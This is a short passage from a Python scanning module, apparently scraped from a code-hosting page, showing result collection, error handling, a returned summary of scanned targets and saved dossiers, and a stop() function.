emit(f"Dossier saved: {saved}")
|
||||
else:
|
||||
emit(f"No indicators found on {target}")
|
||||
|
||||
results.append(result)
|
||||
|
||||
except Exception as exc:
|
||||
emit(f"Error probing {target}: {exc}", 'error')
|
||||
results.append({'target': target, 'error': str(exc)})
|
||||
|
||||
return {
|
||||
'module': MODULE_NAME,
|
||||
'targets_scanned': len(targets),
|
||||
'results': results,
|
||||
'dossiers_saved': dossiers_saved,
|
||||
'output': _output_lines[:],
|
||||
}
|
||||
|
||||
|
||||
def stop():
|
||||
"""Signal the module to stop at the next safe point."""
|
||||
_stop_flag.set()
|
||||
Reference in New Issue
Block a user